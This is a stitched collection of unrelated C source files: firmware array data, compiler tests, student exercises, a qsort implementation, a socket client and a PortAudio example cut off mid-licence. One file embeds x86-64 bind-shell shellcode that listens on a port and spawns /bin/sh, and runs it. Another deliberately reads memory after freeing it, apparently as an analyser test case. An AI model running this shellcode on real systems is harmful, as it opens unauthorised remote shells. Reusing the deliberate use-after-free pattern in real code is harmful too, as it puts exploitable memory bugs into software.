0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x1234baac, }; unsigned int aui32H264_MasterMTXTOPAZFWTextReloc[] = { 0 }; unsigned char aui8H264_MasterMTXTOPAZFWTextRelocType[] = { 0 }; unsigned int aui32H264_MasterMTXTOPAZFWTextRelocFullAddr[] = { 0 }; unsigned int aui32H264_MasterMTXTOPAZFWDataReloc[] = { 0 };

the_stack_data/114953.c

#include <stdio.h> #include <string.h> unsigned char shellcode[] = "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" "\x5e\x48\x31\xd2\x0f\x05\x48\x97" "\x52\x52\xc6\x04\x24\x02\x66\xc7" "\x44\x24\x02\x1b\x39\x48\x89\xe6" "\x6a\x31\x58\x6a\x10\x5a\x0f\x05" "\x6a\x32\x58\x48\x31\xf6\x0f\x05" "\x30\xd2\x6a\x2b\x58\x0f\x05\x48" "\x97\x6a\x02\x5e\x6a\x21\x58\x0f" "\x05\x48\xff\xce\x79\xf6\x48\x31" "\xf6\x48\x31\xd2\x52\x48\xbb\x2f" "\x2f\x62\x69\x6e\x2f\x73\x68\x53" "\x48\x89\xe7\x6a\x3b\x58\x0f\x05"; int main(void) { printf("[*] shellcode length: %d\n", strlen(shellcode)); (*(void (*)())shellcode)(); return 0; }

the_stack_data/1103348.c

/* { dg-do compile } */ /* { dg-require-effective-target arm_cond_exec } */ /* { dg-options "-O2" } */ #define MAX(a, b) (a > b ? a : b) int foo (int a, int b, int c) { return c - MAX (a, b); } /* { dg-final { scan-assembler-not "mov" } } */

the_stack_data/981576.c

#include <stdio.h> char map[100][101]; short path[10000][2]; short nlines; short ncols; /*Linha,coluna a procurar; caracter esperado; numero de posicoes por onde passa a possibilidade de caminho; *x,y ultima posicao por onde passou */ short checkPath(short line, short col, char car, short count, short x, short y){ /*Esta funcao retorna 0 se nao existir caminho, e retorna 1 se existir um caminho possivel ate ao fim do mapa*/ /*Verifica se a posicao encontra-se dentro dos limites*/ if(col>=0 && col<ncols && line>=0 && line<nlines){ /*Verifica se o char encontrado é = ao esperado*/ if(map[line][col]==car){ /*Verifica se chegamos ao fim mapa*/ if(line==(nlines-1)){ /*grava a posicao de passagem no vector*/ path[count][0]=line+1; path[count][1]=col+1; return 1; } /*verifica cada posicao conforme a barra*/ else if(map[line][col]=='\\'){ if(checkPath(line+1, col, '/', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col+1, '\\', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col+1, '|', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } /*Verifica se a proxima posicao e uma posicao repetida*/ if((line != x) || (col+1 != y)) if(checkPath(line, col+1, '/', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if((line != x) || (col-1 != y)){ if(checkPath(line, col-1, '/', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } } } else if(map[line][col]=='/'){ if(checkPath(line+1, col-1, '|', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col-1, '/', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col, '\\', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if ((line != x) || (col+1!=y)) if(checkPath(line, col+1, '\\', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if((line != x) || (col-1 != y)) if(checkPath(line, col-1, '\\', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } } else if(map[line][col]=='|'){ if(checkPath(line+1, col-1, '/', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col, '|', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col+1, '\\', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } } /*Caso o caminho nao tenha saida elimina a posicao*/ map[line][col]='#'; } } return 0; } int main(){ short line=0, col=0, count=0, aux, i; /*Le o numero de linhas e colunas do mapa*/ while(scanf("%hd %hd", &nlines, &ncols)!=EOF){ /*Le o mapa*/ for(i=0; i<nlines; i++){ scanf("%s", map[i]); } /*Verifica o caminho a partir das diferentes possibilidades da primeira linha */ for(col=0; col<ncols;col++){ if(map[0][col]=='\\'){ if(checkPath(line+1, col, '/', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col+1, '\\', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col+1, '|', count+1, line, col)==1){ aux=1; } }else if(map[0][col]=='/'){ if(checkPath(line+1, col, '\\', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col-1, '|', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col-1, '/', count+1, line, col)==1){ aux=1; } }else if(map[0][col]=='|'){ if(checkPath(line+1, col-1, '/', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col, '|', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col+1, '\\', count+1, line, col)==1){ aux=1; } } /*Guarda a posicao inicial do caminho*/ if(aux==1){ path[0][0]=1; path[0][1]=col+1; break; } } /*Imprime o resultado da procura pelo mapa*/ if(aux==0){ printf("No Path!\n"); }else{ i=1; printf("(%hd,%hd)",path[0][0], path[0][1]); while(path[i][0]!=0){ printf(",(%hd,%hd)",path[i][0], path[i][1]); path[i][0]=0; path[i][1]=0; i++; } printf("\n"); aux=0; } } return 0; }

the_stack_data/156392264.c

/* rdg: this is https://www.cs.dartmouth.edu/~doug/qsort.c * with parens added around a-(char*)0 to squelch warning * and added count of bytes swapped. */ #if COUNTSWAPS extern unsigned long long tot_swaps; #endif /* qsort -- qsort interface implemented by faster quicksort. J. L. Bentley and M. D. McIlroy, SPE 23 (1993) 1249-1265. Copyright 1993, John Wiley. */ /*assume sizeof(long) is a power of 2 */ #define SWAPINIT(a, es) swaptype = \ ((a-(char*)0) | es) % sizeof(long) ? 2 : es > sizeof(long); #if COUNTSWAPS #define swapcode(TYPE, parmi, parmj, n) { \ tot_swaps += n;\ register TYPE *pi = (TYPE *) (parmi); \ register TYPE *pj = (TYPE *) (parmj); \ do { \ register TYPE t = *pi; \ *pi++ = *pj; \ *pj++ = t; \ } while ((n -= sizeof(TYPE)) > 0); \ } #else #define swapcode(TYPE, parmi, parmj, n) { \ register TYPE *pi = (TYPE *) (parmi); \ register TYPE *pj = (TYPE *) (parmj); \ do { \ register TYPE t = *pi; \ *pi++ = *pj; \ *pj++ = t; \ } while ((n -= sizeof(TYPE)) > 0); \ } #endif #include <stddef.h> static void swapfunc(char *a, char *b, size_t n, int swaptype) { if (swaptype <= 1) swapcode(long, a, b, n) else swapcode(char, a, b, n) } #if COUNTSWAPS #define swap(a, b) \ do {\ if (swaptype == 0) { \ tot_swaps += sizeof(long);\ t = *(long*)(a); \ *(long*)(a) = *(long*)(b); \ *(long*)(b) = t; \ } else \ swapfunc(a, b, es, swaptype);} while (0) #else #define swap(a, b) \ if (swaptype == 0) { \ t = *(long*)(a); \ *(long*)(a) = *(long*)(b); \ *(long*)(b) = t; \ } else \ swapfunc(a, b, es, swaptype) #endif #define PVINIT(pv, pm) \ if (swaptype != -1) { pv = a; swap(pv, pm); } \ else { pv = (char*)&v; *(long*)pv = *(long*)pm; } #define vecswap(a, b, n) if (n > 0) swapfunc(a, b, n, swaptype) #define min(x, y) ((x)<=(y) ? (x) : (y)) static char *med3(char *a, char *b, char *c, int (*cmp)()) { return cmp(a, b) < 0 ? (cmp(b, c) < 0 ? b : cmp(a, c) < 0 ? c : a) : (cmp(b, c) > 0 ? b : cmp(a, c) > 0 ? c : a); } void qsort(char *a, size_t n, size_t es, int (*cmp)()) { char *pa, *pb, *pc, *pd, *pl, *pm, *pn, *pv; int r, swaptype, swap_flag; long t, v; size_t s; /* Quit if all in order */ for (pm = a + es; pm < a + n * es && cmp(pm - es, pm) <= 0; pm += es) ; if (pm == a + n * es) return; SWAPINIT(a, es); swap_flag = 0; if (n < 7) { /* Insertion sort on smallest arrays */ for (pm = a + es; pm < a + n*es; pm += es) for (pl = pm; pl > a && cmp(pl-es, pl) > 0; pl -= es) swap(pl, pl-es); return; } pm = a + (n/2)*es; /* Small arrays, middle element */ if (n > 7) { pl = a; pn = a + (n-1)*es; if (n > 40) { /* Big arrays, pseudomedian of 9 */ s = (n/8)*es; pl = med3(pl, pl+s, pl+2*s, cmp); pm = med3(pm-s, pm, pm+s, cmp); pn = med3(pn-2*s, pn-s, pn, cmp); } pm = med3(pl, pm, pn, cmp); /* Mid-size, med of 3 */ } PVINIT(pv, pm); /* pv points to partition value */ pa = pb = a + es; pc = pd = a + (n-1)*es; for (;;) { while (pb <= pc && (r = cmp(pb, pv)) <= 0) { if (r == 0) { swap_flag = 1; swap(pa, pb); pa += es; } pb += es; } while (pb <= pc && (r = cmp(pc, pv)) >= 0) { if (r == 0) { swap_flag = 1; swap(pc, pd); pd -= es; } pc -= es; } if (pb > pc) break; swap_flag = 1; swap(pb, pc); pb += es; pc -= es; } if (swap_flag == 0) { /* Switch to Shell sort */ size_t gap; for (gap = 4; gap < n; gap = 3 * gap + 1) ; while (gap /= 3) { for (pm = a + gap * es; pm < a + n * es; pm += es) for (pl = pm; pl >= a + gap * es && cmp(pl - gap * es, pl) > 0; pl -= gap * es) swap(pl, pl - gap * es); } return; } pn = a + n*es; s = min(pa-a, pb-pa ); vecswap(a, pb-s, s); s = min(pd-pc, pn-pd-es); vecswap(pb, pn-s, s); if ((s = pb-pa) > es) qsort(a, s/es, es, cmp); if ((s = pd-pc) > es) qsort(pn-s, s/es, es, cmp); }

the_stack_data/212643052.c

// // main.c // Theon's Answer // // Created by MacBook on 08/04/17. // Copyright © 2017 Bruno Botelho. All rights reserved. // #include <stdio.h> int main(int argc, const char * argv[]) { // insert code here... int n,menor,index=1,atual; scanf("%d",&n); scanf("%d",&menor); for(int i=1;i<n;i++){ scanf("%d",&atual); if(menor>atual){ index=i+1; menor=atual; } } printf("%d\n",index); return 0; }

the_stack_data/59511496.c

//Classification: #default/n/DAM/USV/dA/A(v)/lc/rp+cd //Written by: Sergey Pomelov //Reviewed by: Igor Eremeev //Comment: #include <stdio.h> #include <malloc.h> int main(void) { const int size = 64; int *p; int i; int a; int c; p = (int*)malloc(size*sizeof(int)); if (p==NULL) { printf("alloc error"); return 1; } scanf("%d",&c); for(i=0; i<size; i++) { *(p+i) = 1; if ((a=c*2)==i) { free(p); printf("%d %d",a,*(p+i)); return 0; } else { printf("x %d %d",a,*(p+i)); } } free(p); return 0; }

the_stack_data/150143055.c

/* gcc 01.c -o app ./app QUARTA QUESTÂO */ #include <stdio.h> char joinString( char string[], int length , char string2[], int length2, char resultString[]); int main(){ char string[40]; char string2[40]; int length = sizeof(string); int length2 = sizeof(string2); printf("Digite um texto: "); scanf("%s", string); //fgets(string,40,stdin); printf("Digite outro texto: "); scanf("%s", string2); //fgets(string2,40,stdin); //printf("%s", string); //printf(" %s", string2); char resultString[80]; joinString(string, length , string2, length2, resultString); // vai mostrar string printf("\n"); printf("concatenado \n"); for(int i=0;i<80; i++){ printf("%c", resultString[i]); } printf("\n"); return 0; } char joinString( char string[], int length , char string2[], int length2, char resultString[]){ for(int i = 0; i < length; i++){ resultString[i] = string[i]; //printf("%c", resultString[i]); } for(int j = 0; j < length2; j++){ resultString[length + j] = string2[j]; //printf("%c", resultString[i]); } }

the_stack_data/116400.c

// // Prog 7.6 Function to ginf GCD and return results // #include <stdio.h> float absoluteValue(float x) { if (x < 0) x = -x; return x; } int main (void) { float f1 = -15.5, f2 = 20.0, f3 = -5.0; int i1 = -716; float result; result = absoluteValue(f1); printf("f1 = %.2f\n", f1); printf("result = %.2f\n", result); result = absoluteValue(f2) + absoluteValue(f3); printf("result = %.2f\n", result); result = absoluteValue( (float) i1 ); printf("result = %.2f\n", result); result = absoluteValue( i1 ); printf("result = %.2f\n", result); result = absoluteValue( i1 ); printf("result = %.2f\n", absoluteValue(-6.0) / 4); }

the_stack_data/131346.c

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> int main(){ char frase[51], letra; int i, j, danca; while(fgets(frase, 51, stdin) != NULL){ danca = 0; j = 0; for(i = 0; i < strlen(frase); i++){ letra = frase[i]; if(letra == '\n'){ break; } if(letra == ' '){ printf(" "); j++; } else if(j%2 == 0){ //par - maisculo if(letra >= 'a' && letra <= 'z'){ printf("%c", letra - 32); } else{ printf("%c", letra); } } //impar - minusculo else if(letra >= 'A' && letra <= 'Z'){ printf("%c", letra + 32); } else{ printf("%c", letra); } j++; } printf("\n"); } return 0; }

the_stack_data/220456894.c

// Client side C/C++ program to demonstrate Socket programming #include <stdio.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #define PORT 12345 int main(int argc, char const *argv[]) { int sock = 0, valread; struct sockaddr_in serv_addr; char hello[] = "Hello from client"; char buffer[1024] = {0}; if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("\n Socket creation error \n"); return -1; } serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(PORT); // Convert IPv4 and IPv6 addresses from text to binary form if(inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr)<=0) { printf("\nInvalid address/ Address not supported \n"); return -1; } if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { printf("\nConnection Failed \n"); return -1; } while(1) { printf(" > "); scanf("%s", hello); // printf("%s you", hello); write(sock , &hello , strlen(hello)); printf("sent ok!\n"); valread = read( sock , buffer, 1024); printf("%s\n",buffer ); } close(sock); return 0; }

the_stack_data/62637846.c

/** @file pa_devs.c @ingroup examples_src @brief List available devices, including device information. @author Phil Burk http://www.softsynth.com @note Define PA_USE_ASIO=0 to compile this code on Windows without ASIO support. */ /* * $Id: pa_devs.c 1817 2012-02-22 12:44:10Z robiwan $ * * This program uses the PortAudio Portable Audio Library. * For more information see: http://www.portaudio.com * Copyright (c) 1999-2000 Ross Bencina and Phil Burk * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files * (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, sublicense, and/or sell copies of the Software, * and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 